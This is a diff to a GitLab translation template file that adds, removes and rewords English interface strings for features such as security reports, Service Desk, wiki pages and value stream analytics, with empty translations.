@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
